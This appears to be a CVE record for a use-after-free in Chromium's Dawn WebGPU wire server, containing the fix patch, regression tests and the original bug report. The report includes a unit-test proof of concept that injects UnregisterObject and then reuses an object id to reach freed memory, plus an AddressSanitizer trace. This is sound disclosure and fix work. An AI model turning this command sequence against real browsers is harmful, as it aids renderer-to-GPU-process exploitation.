CVE-2026-10909
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifgenerator/templates/dawn/wire/server/ServerBase.h |
modified | |
ifgenerator/templates/mock_api.cpp |
modified |
Files Changed
generator/templates/dawn/wire/server/ServerBase.hgenerator/templates/mock_api.cppgenerator/templates/mock_api.h
Patch
From 1c5131547e777334e1fbe6de7c669e094ada7678 Mon Sep 17 00:00:00 2001
From: Lokbondo Kung <lokokung@google.com>
Date: Tue, 19 May 2026 12:22:44 -0700
Subject: [PATCH] [wire] Fixes potential UAF when dealing with injected Unregisters.
- In the bug below, it was found that by injecting UnregisterObject
commands that correspond to allocated but not backed objects, i.e.
objects that would be returned via asynchronous APIs, it was
possible to make the server access freed memory if we tried to
run the async API again while reusing the same object ids. This
change makes it so that the server tracks both the id and the
generation to uniquely identify objects when dealing with a
malicious or compromised client. When an async callback fires on
the server side that should fulfill a reservation that was
somehow already Unregistered, the server now fails the callback
and reclaims the backing object instead.
- In order to properly test this new change, the mock API was
updated to allow specifying specific futures when emulating
callbacks firing on the server side. A sibling API was added to
allow mock expectations to retrieve the server-side Futures to
allow fine-grained control of which callbacks to trigger via
emulation. This meant that the mock objects now need maps for
callbacks per object because we could have multiple identical
callback types in flight at once. To avoid polluting other
existing test code, the additional Future argument is
optional with the assertion that only one callback was in
flight.
Bug: 508092644
Change-Id: I6944afc4420c7f345c16796cc692dafa4f2f88cc
Reviewed-on: https://dawn-review.googlesource.com/c/dawn/+/309135
Commit-Queue: Loko Kung <lokokung@google.com>
Reviewed-by: Corentin Wallez <cwallez@chromium.org>
---
diff --git a/generator/templates/dawn/wire/server/ServerBase.h b/generator/templates/dawn/wire/server/ServerBase.h
index 0f16f4e29..f4c1a28 100644
--- a/generator/templates/dawn/wire/server/ServerBase.h
+++ b/generator/templates/dawn/wire/server/ServerBase.h
@@ -63,21 +63,21 @@
return std::get<KnownObjects<T>>(mKnown).Get(id, result);
}
template <typename T>
- WireResult FillReservation(ObjectId id, T handle, Known<T>* known = nullptr) {
- auto result = std::get<KnownObjects<T>>(mKnown).FillReservation(id, handle, known);
+ WireResult FillReservation(ObjectHandle handle, T nativeHandle, Known<T>* known = nullptr) {
+ auto result = std::get<KnownObjects<T>>(mKnown).FillReservation(handle, nativeHandle, known);
if (result == WireResult::FatalError) {
- Release(handle);
+ Release(nativeHandle);
}
return result;
}
template <typename T>
WireResult Allocate(Reserved<T>* result,
- ObjectHandle handler,
+ ObjectHandle handle,
AllocationState state = AllocationState::Allocated) {
// Allocations always take the lock because |vector::push_back| may be called which
// can invalidate pointers.
auto serverGuard = GetGuard();
- return std::get<KnownObjects<T>>(mKnown).Allocate(result, handler, state);
+ return std::get<KnownObjects<T>>(mKnown).Allocate(result, handle, state);
}
template <typename T>
WireResult Free(ObjectId id, ObjectData<T>* data) {
diff --git a/generator/templates/mock_api.cpp b/generator/templates/mock_api.cpp
index 4595cb3..c10b367 100644
--- a/generator/templates/mock_api.cpp
+++ b/generator/templates/mock_api.cpp
@@ -31,6 +31,7 @@
#include <algorithm>
#include "dawn/common/Log.h"
+#include "dawn/common/Assert.h"
#include "dawn/dawn_version.h"
using namespace testing;
@@ -59,6 +60,10 @@
ProcTableAsClass::~ProcTableAsClass() {
}
+WGPUFuture ProcTableAsClass::GetLastFuture() {
+ return {mNextFutureID - 1};
+}
+
{% set Prefix = metadata.proc_table_prefix %}
void ProcTableAsClass::GetProcTable({{Prefix}}ProcTable* table) {
std::ranges::copy(dawn::kDawnVersion, table->version);
@@ -91,18 +96,28 @@
{%- endfor -%}
) {
ProcTableAsClass::Object* object = reinterpret_cast<ProcTableAsClass::Object*>({{as_varName(type.name)}});
- object->m{{Suffix}}Callback = callbackInfo.callback;
- object->m{{Suffix}}Userdata1 = callbackInfo.userdata1;
- object->m{{Suffix}}Userdata2 = callbackInfo.userdata2;
-
- On{{Suffix}}(
- {{-as_varName(type.name)}}
- {%- for arg in method.arguments -%}
- , {{as_varName(arg.name)}}
- {%- endfor -%}
- );
{% if method.returns and method.returns.type.name.get() == "future" %}
- return {mNextFutureID++};
+ dawn::FutureID futureID = mNextFutureID++;
+ object->m{{Suffix}}Requests[futureID] = {callbackInfo.callback, callbackInfo.userdata1, callbackInfo.userdata2};
+
+ On{{Suffix}}(
+ {{-as_varName(type.name)}}
+ {%- for arg in method.arguments -%}
+ , {{as_varName(arg.name)}}
+ {%- endfor -%}
+ );
+ return {futureID};
+ {% else %}
+ object->m{{Suffix}}Callback = callbackInfo.callback;
+ object->m{{Suffix}}Userdata1 = callbackInfo.userdata1;
+ object->m{{Suffix}}Userdata2 = callbackInfo.userdata2;
+
+ On{{Suffix}}(
+ {{-as_varName(type.name)}}
+ {%- for arg in method.arguments -%}
+ , {{as_varName(arg.name)}}
+ {%- endfor -%}
+ );
{% endif %}
}
{% set CallbackInfoType = (method.arguments|last).type %}
@@ -112,13 +127,44 @@
{%- for arg in CallbackType.arguments -%}
, {{as_annotated_cType(arg)}}
{%- endfor -%}
+ {%- if method.returns and method.returns.type.name.get() == "future" -%}
+ , WGPUFuture future
+ {%- endif -%}
) {
ProcTableAsClass::Object* object = reinterpret_cast<ProcTableAsClass::Object*>({{as_varName(type.name)}});
- object->m{{Suffix}}Callback(
- {%- for arg in CallbackType.arguments -%}
- {{as_varName(arg.name)}}{{", "}}
- {%- endfor -%}
- object->m{{Suffix}}Userdata1, object->m{{Suffix}}Userdata2);
+ {% if method.returns and method.returns.type.name.get() == "future" %}
+ if (future.id == dawn::kNullFutureID) {
+ // TODO(crbug.com/514400091): We provide this default version for emulating
+ // callbacks to avoid breaking existing tests that only ever have one
+ // outstanding pending callback at a time. Consider updating all tests,
+ // and/or adding better utility functions to make this process easier.
+ DAWN_ASSERT(object->m{{Suffix}}Requests.size() == 1);
+ auto it = object->m{{Suffix}}Requests.begin();
+ auto data = it->second;
+ object->m{{Suffix}}Requests.erase(it);
+ data.callback(
+ {%- for arg in CallbackType.arguments -%}
+ {{as_varName(arg.name)}}{{", "}}
+ {%- endfor -%}
+ data.userdata1, data.userdata2);
+ } else {
+ auto it = object->m{{Suffix}}Requests.find(future.id);
+ DAWN_ASSERT(it != object->m{{Suffix}}Requests.end());
+ auto data = it->second;
+ object->m{{Suffix}}Requests.erase(it);
+ data.callback(
+ {%- for arg in CallbackType.arguments -%}
+ {{as_varName(arg.name)}}{{", "}}
+ {%- endfor -%}
+ data.userdata1, data.userdata2);
+ }
+ {% else %}
+ object->m{{Suffix}}Callback(
+ {%- for arg in CallbackType.arguments -%}
+ {{as_varName(arg.name)}}{{", "}}
+ {%- endfor -%}
+ object->m{{Suffix}}Userdata1, object->m{{Suffix}}Userdata2);
+ {% endif %}
}
{% endif %}
{% endfor %}
diff --git a/generator/templates/mock_api.h b/generator/templates/mock_api.h
index 096da17..8c20ea1 100644
--- a/generator/templates/mock_api.h
+++ b/generator/templates/mock_api.h
@@ -40,6 +40,7 @@
#include <memory>
#include "dawn/common/FutureUtils.h"
+#include "absl/container/flat_hash_map.h"
// An abstract base class representing a proc table so that API calls can be mocked. Most API calls
// are directly represented by a delete virtual method but others need minimal state tracking to be
@@ -49,6 +50,7 @@
virtual ~ProcTableAsClass();
void GetProcTable({{Prefix}}ProcTable* table);
+ WGPUFuture GetLastFuture();
// Creates an object that can be returned by a mocked call as in WillOnce(Return(foo)).
// It returns an object of the write type that isn't equal to any previously returned object.
@@ -99,6 +101,9 @@
Regression Test / PoC
diff --git a/src/dawn/tests/unittests/wire/WireSpecificCommandTests.cpp b/src/dawn/tests/unittests/wire/WireSpecificCommandTests.cpp
index 3f8087b..4564ab7 100644
--- a/src/dawn/tests/unittests/wire/WireSpecificCommandTests.cpp
+++ b/src/dawn/tests/unittests/wire/WireSpecificCommandTests.cpp
@@ -25,21 +25,34 @@
// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+#include <span>
+
#include "dawn/common/StringViewUtils.h"
+#include "dawn/tests/MockCallback.h"
+#include "dawn/tests/StringViewMatchers.h"
#include "dawn/tests/unittests/wire/WireTest.h"
+#include "dawn/utils/TerribleCommandBuffer.h"
+#include "dawn/wire/BufferConsumer.h"
#include "dawn/wire/ChunkedCommandSerializer.h"
#include "dawn/wire/Wire.h"
#include "dawn/wire/WireClient.h"
#include "dawn/wire/WireCmd_autogen.h"
#include "dawn/wire/WireServer.h"
#include "dawn/wire/client/Client.h"
+#include "dawn/wire/server/Server.h"
namespace dawn::wire {
namespace {
using testing::_;
+using testing::EmptySizedString;
using testing::InvokeWithoutArgs;
+using testing::IsNull;
+using testing::MockCppCallback;
+using testing::NonEmptySizedString;
+using testing::NotNull;
using testing::Return;
+using testing::WithArg;
// Fixture that helps execute specific commands through the wire that may not be possible to trigger
// through usage of the dawn::wire::client. It is even more change detecting than regular dawn::wire
@@ -53,6 +66,33 @@
serializer.SerializeCommand(cmd, *GetWireClient()->GetImplForTesting());
}
+
+ // Intercept a command that will be sent from the client to the server. This involves first
+ // capturing the command, deserializing it as if we were the server, and then re-injecting it
+ // back into the client command buffer. Note that this does not currently handle object
+ // serialization correctly, so when modifying commands with descriptors that include other
+ // WebGPU objects, users may need to manually update those members. This is currently a
+ // limitation that is hard to address because of the way the commands are [de]serialized in the
+ // wire.
+ template <typename Cmd, typename ToIntercept, typename Modifier>
+ void InterceptServerCmd(ToIntercept toIntercept, Modifier modifier) {
+ Cmd cmd;
+ utils::TerribleCommandBuffer* c2sBuf = GetC2SCommandBuffer();
+ size_t startOffset = c2sBuf->GetOffsetForTesting();
+ toIntercept();
+ size_t endOffset = c2sBuf->GetOffsetForTesting();
+ std::span<const char> subrange = c2sBuf->GetContentSubrange(startOffset, endOffset);
+ dawn::wire::DeserializeBuffer deserializeBuffer(subrange.data(), subrange.size());
+ EXPECT_EQ(WireResult::Success, cmd.Deserialize(&deserializeBuffer, &mAllocator,
+ *GetWireServer()->GetImplForTesting()));
+
+ modifier(&cmd);
+ c2sBuf->SetOffsetForTesting(startOffset);
+ AddSpecificServerCmd(cmd);
+ }
+
+ private:
+ WireDeserializeAllocator mAllocator;
};
// Regression test for https://issues.chromium.org/492139412 where a server receiving
@@ -135,5 +175,358 @@
FlushClient();
}
+// This is a regression test for https://issues.chromium.org/508092644 where a compromised client
+// could potentially ask the server to Unregister a reserved, but not backed Device.
+TEST_F(WireSpecificCommandTests, RequestDeviceIdReuseAfterInjectedUnregister) {
+ // Set up all the mock callbacks and objects.
+ MockCppCallback<wgpu::DeviceLostCallback<void>*> deviceLostCb;
+ MockCppCallback<wgpu::RequestDeviceCallback<void>*> requestDeviceCb;
+ WGPUDevice apiDeviceA = api.GetNewDevice();
+ WGPUFuture futureA;
+ WGPUDevice apiDeviceB = api.GetNewDevice();
+ WGPUFuture futureB;
+ auto SetDeviceCallbacks = [](WGPUDevice apiDevice, const WGPUDeviceDescriptor* desc) {
+ ProcTableAsClass::Object* object = reinterpret_cast<ProcTableAsClass::Object*>(apiDevice);
+ object->mDeviceLostCallback = desc->deviceLostCallbackInfo.callback;
+ object->mDeviceLostUserdata1 = desc->deviceLostCallbackInfo.userdata1;
+ object->mDeviceLostUserdata2 = desc->deviceLostCallbackInfo.userdata2;
+ };
+
+ // Add the first request for a device and capture the C->S command for it.
+ wgpu::DeviceDescriptor deviceDescA = {};
+ deviceDescA.SetDeviceLostCallback(wgpu::CallbackMode::AllowSpontaneous,
+ deviceLostCb.Callback());
+ AdapterRequestDeviceCmd requestA = {};
+ InterceptServerCmd<AdapterRequestDeviceCmd>(
+ [&]() {
+ adapter.RequestDevice(&deviceDescA, wgpu::CallbackMode::AllowSpontaneous,
+ requestDeviceCb.Callback());
+ },
+ [&](AdapterRequestDeviceCmd* cmd) { requestA = *cmd; });
+
+ // Immediately unregister the device that was reserved for the first request. This is not
+ // normally possible, so we inject the command directly.
+ UnregisterObjectCmd unregisterA = {};
+ unregisterA.objectType = ObjectType::Device;
+ unregisterA.objectId = requestA.deviceObjectHandle.id;
+ AddSpecificServerCmd(unregisterA);
+
+ // Add a second request for a device that attempts to reuse the same id that was originally
+ // reserved for the first request.
+ wgpu::DeviceDescriptor deviceDescB = {};
+ deviceDescB.SetDeviceLostCallback(wgpu::CallbackMode::AllowSpontaneous,
+ deviceLostCb.Callback());
+ AdapterRequestDeviceCmd requestB = {};
+ InterceptServerCmd<AdapterRequestDeviceCmd>(
+ [&]() {
+ adapter.RequestDevice(&deviceDescB, wgpu::CallbackMode::AllowSpontaneous,
+ requestDeviceCb.Callback());
+ },
+ [&](AdapterRequestDeviceCmd* cmd) {
+ cmd->deviceObjectHandle.id = requestA.deviceObjectHandle.id;
+ cmd->deviceObjectHandle.generation = requestA.deviceObjectHandle.generation + 1;
+ requestB = *cmd;
+ });
+
+ EXPECT_CALL(api, OnAdapterRequestDevice(apiAdapter, NotNull(), _))
+ .WillOnce(WithArg<1>([&](const WGPUDeviceDescriptor* desc) {
+ SetDeviceCallbacks(apiDeviceA, desc);
+ futureA = api.GetLastFuture();
+ }))
+ .WillOnce(WithArg<1>([&](const WGPUDeviceDescriptor* desc) {
+ SetDeviceCallbacks(apiDeviceB, desc);
+ futureB = api.GetLastFuture();
+ }));
+ FlushClient();
+
+ // Emulate the backend server completing the first request for a device successfully. Even
+ // though the backend successfully created the device, because the client has already asked to
+ // unregister that reserved slot, the server should just immediately release the successfully
+ // created device.
+ EXPECT_CALL(api, DeviceRelease(apiDeviceA)).Times(1);
+ api.CallAdapterRequestDeviceCallback(apiAdapter, WGPURequestDeviceStatus_Success, apiDeviceA,
+ kEmptyOutputStringView, futureA);
+ // Additionally verify that the server does not back the device.
+ EXPECT_EQ(GetWireServer()->GetDevice(requestA.deviceObjectHandle.id,
+ requestA.deviceObjectHandle.generation),
+ nullptr);
+
+ // When we flush the server, the RequestDevice callback for the first request should be called
+ // with callback cancelled, and the DeviceLost callback should also fire once for the first
+ // requested device.
+ EXPECT_CALL(requestDeviceCb, Call(wgpu::RequestDeviceStatus::CallbackCancelled, IsNull(),
+ NonEmptySizedString()));
+ EXPECT_CALL(deviceLostCb, Call).Times(1);
+ FlushServer();
+
+ // Emulate the backend server completing the second request for a device successfully.
+ api.CallAdapterRequestDeviceCallback(apiAdapter, WGPURequestDeviceStatus_Success, apiDeviceB,
+ kEmptyOutputStringView, futureB);
+ // Verify that the server backs the device.
+ EXPECT_EQ(GetWireServer()->GetDevice(requestB.deviceObjectHandle.id,
+ requestB.deviceObjectHandle.generation),
+ apiDeviceB);
+
+ // When the server completes the second request for a device, the RequestDevice callback for
+ // the second request should be called with success, and the DeviceLost callback should also
+ // fire once for the second requested device because we don't save the device from the
+ // RequestDevice callback.
+ EXPECT_CALL(requestDeviceCb,
+ Call(wgpu::RequestDeviceStatus::Success, NotNull(), EmptySizedString()));
+ EXPECT_CALL(deviceLostCb, Call).Times(1);
+ FlushServer();
+
+ // Finally, since we dropped the device on the client side, it should be Unregistered from the
+ // client, and correspondingly released on the server side once the commands are flushed. Note
+ // that the client flush should still fail though because we injected a different ID for the
+ // device than the client frontend actually allocated for the second device. This means that the
+ // wire client frontend will try to Unregister a non-existent object as a result of the modified
+ // and injected second request which will cause the server to fail.
+ EXPECT_CALL(api, DeviceRelease(apiDeviceB)).Times(1);
+ FlushClient(false);
+}
+
+// This is a regression test for https://issues.chromium.org/508092644 where a compromised client
+// could potentially ask the server to Unregister a reserved, but not backed Adapter.
+TEST_F(WireSpecificCommandTests, RequestAdapterIdReuseAfterInjectedUnregister) {
+ // Set up all the mock callbacks and objects.
+ MockCppCallback<wgpu::RequestAdapterCallback<void>*> requestAdapterCb;
+ WGPUAdapter apiAdapterA = api.GetNewAdapter();
+ WGPUFuture futureA;
+ WGPUAdapter apiAdapterB = api.GetNewAdapter();
+ WGPUFuture futureB;
+
+ // Add the first request for an adapter.
+ InstanceRequestAdapterCmd requestA = {};
+ InterceptServerCmd<InstanceRequestAdapterCmd>(
+ [&]() {
+ instance.RequestAdapter(nullptr, wgpu::CallbackMode::AllowSpontaneous,
+ requestAdapterCb.Callback());
+ },
+ [&](InstanceRequestAdapterCmd* cmd) { requestA = *cmd; });
+
+ // Immediately unregister the adapter that was reserved for the first request. This is not
+ // normally possible, so we inject the command directly.
+ UnregisterObjectCmd unregisterA = {};
+ unregisterA.objectType = ObjectType::Adapter;
+ unregisterA.objectId = requestA.adapterObjectHandle.id;
+ AddSpecificServerCmd(unregisterA);
+
+ // Add a second request for an adapter that attempts to reuse the same id that was originally
+ // reserved for the first request.
+ InstanceRequestAdapterCmd requestB = {};
+ InterceptServerCmd<InstanceRequestAdapterCmd>(
+ [&]() {
+ instance.RequestAdapter(nullptr, wgpu::CallbackMode::AllowSpontaneous,
+ requestAdapterCb.Callback());
+ },
+ [&](InstanceRequestAdapterCmd* cmd) {
+ cmd->adapterObjectHandle.id = requestA.adapterObjectHandle.id;
+ cmd->adapterObjectHandle.generation = requestA.adapterObjectHandle.generation + 1;
+ requestB = *cmd;
+ });
+
+ EXPECT_CALL(api, OnInstanceRequestAdapter(apiInstance, IsNull(), _))
+ .WillOnce([&]() { futureA = api.GetLastFuture(); })
+ .WillOnce([&]() { futureB = api.GetLastFuture(); });
+ FlushClient();
+
+ // Emulate the backend server completing the first request for an adapter successfully. Even
+ // though the backend successfully created the adapter, because the client has already asked to
+ // unregister that reserved slot, the server should just immediately release the successfully
+ // created adapter.
+ EXPECT_CALL(api, AdapterRelease(apiAdapterA)).Times(1);
+ api.CallInstanceRequestAdapterCallback(apiInstance, WGPURequestAdapterStatus_Success,
+ apiAdapterA, kEmptyOutputStringView, futureA);
+
+ // When we flush the server, the RequestAdapter callback for the first request should be called
+ // with callback cancelled.
+ EXPECT_CALL(requestAdapterCb, Call(wgpu::RequestAdapterStatus::CallbackCancelled, IsNull(),
+ NonEmptySizedString()));
+ FlushServer();
+
+ // Emulate the backend server completing the second request for an adapter successfully.
+ api.CallInstanceRequestAdapterCallback(apiInstance, WGPURequestAdapterStatus_Success,
+ apiAdapterB, kEmptyOutputStringView, futureB);
+
+ // When the server completes the second request for an adapter, the RequestAdapter callback for
+ // the second request should be called with success.
+ EXPECT_CALL(requestAdapterCb,
+ Call(wgpu::RequestAdapterStatus::Success, NotNull(), EmptySizedString()));
+ FlushServer();
+
+ // Finally, since we dropped the adapter on the client side, it should be Unregistered from the
+ // client, and correspondingly released on the server side once the commands are flushed. Note
+ // that the client flush should still fail though because we injected a different ID for the
+ // adapter than the client frontend actually allocated for the second adapter. This means that
+ // the wire client frontend will try to Unregister a non-existent object as a result of the
+ // modified and injected second request which will cause the server to fail.
+ EXPECT_CALL(api, AdapterRelease(apiAdapterB)).Times(1);
+ FlushClient(false);
+}
+
+// This is a regression test for https://issues.chromium.org/508092644 where a compromised client
+// could potentially ask the server to Unregister a reserved, but not backed ComputePipeline. See
+// the RequestAdapterIdReuseAfterInjectedUnregister test above for more equivalent descriptions for
+// each step throughout the test.
+TEST_F(WireSpecificCommandTests, CreateComputePipelineAsyncIdReuseAfterInjectedUnregister) {
+ wgpu::ShaderModuleDescriptor shaderDesc = {};
+ wgpu::ShaderModule shader = device.CreateShaderModule(&shaderDesc);
+ WGPUShaderModule apiShader = api.GetNewShaderModule();
+ EXPECT_CALL(api, DeviceCreateShaderModule(apiDevice, _)).WillOnce(Return(apiShader));
+ FlushClient();
+
+ wgpu::ComputePipelineDescriptor descriptor = {};
+ descriptor.compute.module = shader;
+
+ MockCppCallback<wgpu::CreateComputePipelineAsyncCallback<void>*> createComputePipelineCb;
+ WGPUComputePipeline apiPipelineA = api.GetNewComputePipeline();
+ WGPUFuture futureA;
+ WGPUComputePipeline apiPipelineB = api.GetNewComputePipeline();
+ WGPUFuture futureB;
+
+ DeviceCreateComputePipelineAsyncCmd requestA = {};
+ InterceptServerCmd<DeviceCreateComputePipelineAsyncCmd>(
+ [&]() {
+ device.CreateComputePipelineAsync(&descriptor, wgpu::CallbackMode::AllowSpontaneous,
+ createComputePipelineCb.Callback());
+ },
+ [&](DeviceCreateComputePipelineAsyncCmd* cmd) {
+ requestA = *cmd;
+ // Manually fix the shader module since the [de]serialization can't handle objects.
+ const_cast<WGPUComputePipelineDescriptor*>(cmd->descriptor)->compute.module =
+ shader.Get();
+ });
+
... (truncated)
Original Bug Report
Security Bug: UAF in Dawn wire from RequestDevice id reuse
VULNERABILITY DETAILS
Server::DoAdapterRequestDevice allocates a reserved wire device slot and stores
device->info.get() (a raw DeviceInfo*) into
desc.uncapturedErrorCallbackInfo.userdata2. Later, the uncaptured-error lambda restores
that pointer and directly dereferences info->server / info->self without any
generation, ownership, or liveness revalidation.
The async completion path only tracks device.id, not generation. In
Server::OnRequestDeviceCallback, the completion uses
FillReservation(data->deviceObjectId, device, &reservation), and FillReservation only
looks up by id and checks state == Reserved. If a compromised renderer issues:
RequestDevice(id = X, generation = G0)UnregisterObject(Device, X)before the first completion arrivesRequestDevice(id = X, generation = G1 > G0)
then the old completion can still bind backend device A into the new reservation for {X, G1}. However, backend device A still carries the uncaptured-error callback userdata
captured from the first request, i.e. the old DeviceInfo*.
That old DeviceInfo is freed when the original reservation is destroyed by
UnregisterObject. If the uncaptured-error callback is then invoked on backend device A,
the server-side lambda dereferences a dangling DeviceInfo*, resulting in a
heap-use-after-free. The renderer-side command sequence itself is real Dawn wire behavior:
the renderer can issue the first RequestDevice, release the original reservation with
UnregisterObject(Device, X), then reissue RequestDevice on the same object id with a
higher generation before the first completion arrives, creating the stale callback binding
needed for the UAF.
VERSION
Chromium / Dawn Version: main checkout
Operating System: Linux x86_64
REPRODUCTION CASE
TEST_F(WireSpecificCommandTests,
RequestDeviceIdReuseThenUncapturedErrorUsesFreedDeviceInfo) {
auto* clientImpl = GetWireClient()->GetImplForTesting();
auto* wireAdapter = dawn::wire::client::FromAPI(adapter.Get());
const Handle adapterHandle = wireAdapter->GetWireHandle(clientImpl);
const ObjectHandle eventManagerHandle = wireAdapter->GetEventManagerHandle();
const Handle currentDeviceHandle = GetWireClient()->GetWireHandle(device.Get());
const ObjectId reusedObjectId = currentDeviceHandle.id + 1;
static constexpr ObjectGeneration kGenerationA = 1;
static constexpr ObjectGeneration kGenerationB = 2;
WGPUDeviceDescriptor requestDesc = {};
WGPURequestDeviceCallbackInfo callbackA = {};
WGPURequestDeviceCallbackInfo callbackB = {};
WGPUDevice apiDeviceA = api.GetNewDevice();
WGPUDevice apiDeviceB = api.GetNewDevice();
auto captureRequest = [&](WGPUDevice apiDevice, WGPURequestDeviceCallbackInfo* out,
const WGPUDeviceDescriptor* desc,
WGPURequestDeviceCallbackInfo callbackInfo) {
*out = callbackInfo;
auto* object = reinterpret_cast<ProcTableAsClass::Object*>(apiDevice);
object->mUncapturedErrorCallback = desc->uncapturedErrorCallbackInfo.callback;
object->mUncapturedErrorUserdata1 = desc->uncapturedErrorCallbackInfo.userdata1;
object->mUncapturedErrorUserdata2 = desc->uncapturedErrorCallbackInfo.userdata2;
};
EXPECT_CALL(api, OnAdapterRequestDevice(apiAdapter, NotNull(), _))
.WillOnce([&](WGPUAdapter, const WGPUDeviceDescriptor* desc,
WGPURequestDeviceCallbackInfo callbackInfo) {
captureRequest(apiDeviceA, &callbackA, desc, callbackInfo);
});
AdapterRequestDeviceCmd requestA = {};
requestA.adapterId = adapterHandle.id;
requestA.eventManagerHandle = eventManagerHandle;
requestA.future = {101};
requestA.deviceObjectHandle = {reusedObjectId, kGenerationA};
requestA.deviceLostFuture = {201};
requestA.descriptor = &requestDesc;
AddSpecificServerCmd(requestA);
FlushClient();
UnregisterObjectCmd dropA = {};
dropA.objectType = ObjectType::Device;
dropA.objectId = reusedObjectId;
AddSpecificServerCmd(dropA);
FlushClient();
AdapterRequestDeviceCmd requestB = {};
requestB.adapterId = adapterHandle.id;
requestB.eventManagerHandle = eventManagerHandle;
requestB.future = {102};
requestB.deviceObjectHandle = {reusedObjectId, kGenerationB};
requestB.deviceLostFuture = {202};
requestB.descriptor = &requestDesc;
EXPECT_CALL(api, OnAdapterRequestDevice(apiAdapter, NotNull(), _))
.WillOnce([&](WGPUAdapter, const WGPUDeviceDescriptor* desc,
WGPURequestDeviceCallbackInfo callbackInfo) {
captureRequest(apiDeviceB, &callbackB, desc, callbackInfo);
});
AddSpecificServerCmd(requestB);
FlushClient();
ASSERT_NE(callbackA.callback, nullptr);
ASSERT_NE(callbackB.callback, nullptr);
EXPECT_CALL(api, DeviceGetFeatures(apiDeviceA, NotNull()))
.WillOnce(WithArg<1>([](WGPUSupportedFeatures* features) { *features = {}; }));
EXPECT_CALL(api, DeviceGetLimits(apiDeviceA, NotNull()))
.WillOnce(WithArg<1>([](WGPULimits* limits) {
*limits = {};
return WGPUStatus_Success;
}));
EXPECT_CALL(api, OnDeviceSetLoggingCallback(apiDeviceA, _)).Times(1);
callbackA.callback(WGPURequestDeviceStatus_Success, apiDeviceA, kEmptyOutputStringView,
callbackA.userdata1, callbackA.userdata2);
EXPECT_EQ(GetWireServer()->GetDevice(reusedObjectId, kGenerationB), apiDeviceA);
EXPECT_EQ(GetWireServer()->GetDevice(reusedObjectId, kGenerationA), nullptr);
EXPECT_CALL(api, DeviceGetFeatures(apiDeviceB, NotNull()))
.WillOnce(WithArg<1>([](WGPUSupportedFeatures* features) { *features = {}; }));
EXPECT_CALL(api, DeviceGetLimits(apiDeviceB, NotNull()))
.WillOnce(WithArg<1>([](WGPULimits* limits) {
*limits = {};
return WGPUStatus_Success;
}));
EXPECT_CALL(api, DeviceRelease(apiDeviceB)).Times(1);
callbackB.callback(WGPURequestDeviceStatus_Success, apiDeviceB, kEmptyOutputStringView,
callbackB.userdata1, callbackB.userdata2);
api.CallDeviceUncapturedErrorCallback(apiDeviceA, WGPUErrorType_Validation,
ToOutputStringView("repro"));
}
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION Type of crash: heap-use-after-free in Dawn wire server callback path
=================================================================
==697999==ERROR: AddressSanitizer: heap-use-after-free on address 0x7bc223716f10 at pc
0x558937f1e2cc bp 0x7ffc6f31e290 sp 0x7ffc6f31e288
READ of size 8 at 0x7bc223716f10 thread T0
#0 0x558937f1e2cb in
dawn::wire::server::Server::DoAdapterRequestDevice(dawn::wire::server::Known<WGPUAdapterImp
l*>, dawn::wire::ObjectHandle, WGPUFuture, dawn::wire::ObjectHandle, WGPUFuture,
WGPUDeviceDescriptor const*)::$_0::__invoke(WGPUDeviceImpl* const*, WGPUErrorType,
WGPUStringView, void*, void*) base/allocator/partition_allocator/src/partition_alloc/
pointers/raw_ptr.h:1012:48
#1 0x558936340d68 in
ProcTableAsClass::CallDeviceUncapturedErrorCallback(WGPUDeviceImpl*, WGPUErrorType,
WGPUStringView) gen/third_party/dawn/src/dawn/mock_webgpu.cpp:1545:5
#2 0x55893766856e in dawn::wire::(anonymous
namespace)::WireSpecificCommandTests_RequestDeviceIdReuseThenUncapturedErrorUsesFreedDevice
Info_Test::TestBody() third_party/dawn/src/dawn/tests/unittests/wire/
WireSpecificCommandTests.cpp:241:9
#3 0x558937f6ffc9 in testing::Test::Run() third_party/googletest/src/googletest/src/
gtest.cc
#4 0x558937f726d3 in testing::TestInfo::Run() third_party/googletest/src/googletest/
src/gtest.cc:2892:11
#5 0x558937f745e6 in testing::TestSuite::Run() third_party/googletest/src/googletest/
src/gtest.cc:3070:30
#6 0x558937f9f816 in testing::internal::UnitTestImpl::RunAllTests() third_party/
googletest/src/googletest/src/gtest.cc:6062:44
#7 0x558937f9e4aa in testing::UnitTest::Run() third_party/googletest/src/googletest/
src/gtest.cc
#8 0x55893893dafe in base::TestSuite::Run() base/test/test_suite.cc:440:16
#9 0x558937f2ffb0 in (anonymous namespace)::RunHelper(base::TestSuite*) gpu/
dawn_unittests_main.cc:17:22
#10 0x558937f303ea in base::internal::Invoker<base::internal::FunctorTraits<int (*&&)
(base::TestSuite*), base::TestSuite*>, base::internal::BindState<false, true, false, int
(*)(base::TestSuite*), base::internal::UnretainedWrapper<base::TestSuite,
base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, int
()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:673:12
#11 0x5589389604cd in base::OnceCallback<int ()>::Run() && base/functional/
callback.h:155:12
#12 0x55893895d854 in base::(anonymous
namespace)::LaunchUnitTestsInternal(base::OnceCallback<int ()>, unsigned long, int,
unsigned long, bool, base::RepeatingCallback<void ()>, base::OnceCallback<void ()>) base/
test/launcher/unit_test_launcher.cc:189:38
#13 0x55893895e07f in base::LaunchUnitTestsSerially(int, char**, base::OnceCallback<int
()>) base/test/launcher/unit_test_launcher.cc:347:10
#14 0x558937f2fdfd in main gpu/dawn_unittests_main.cc:31:12
#15 0x7fa224645249 (/lib/x86_64-linux-gnu/libc.so.6+0x27249) (BuildId:
6196744a316dbd57c0fd8968df1680aac482cec4)
0x7bc223716f10 is located 0 bytes inside of 16-byte region [0x7bc223716f10,0x7bc223716f20)
freed by thread T0 here:
#0 0x558936334ea2 in operator delete(void*, unsigned long) (/root/audit-agent/
projects/926066208cc345b4ae4b858d9ce323de/chromium/src/out/asan/dawn_unittests+0x1251ea2)
(BuildId: c855620a634a3685)
#1 0x558937e91e3c in
dawn::wire::server::Server::DoUnregisterObject(dawn::wire::ObjectType, unsigned int) gen/
third_party/libc++/src/include/__memory/unique_ptr.h:74:5
#2 0x558937ea9e5c in dawn::wire::server::Server::HandleCommands(char const volatile*,
unsigned long) gen/third_party/dawn/src/dawn/wire/server/ServerHandlers_autogen.cpp:1635:18
#3 0x5589388f7372 in dawn::utils::TerribleCommandBuffer::Flush() third_party/dawn/src/
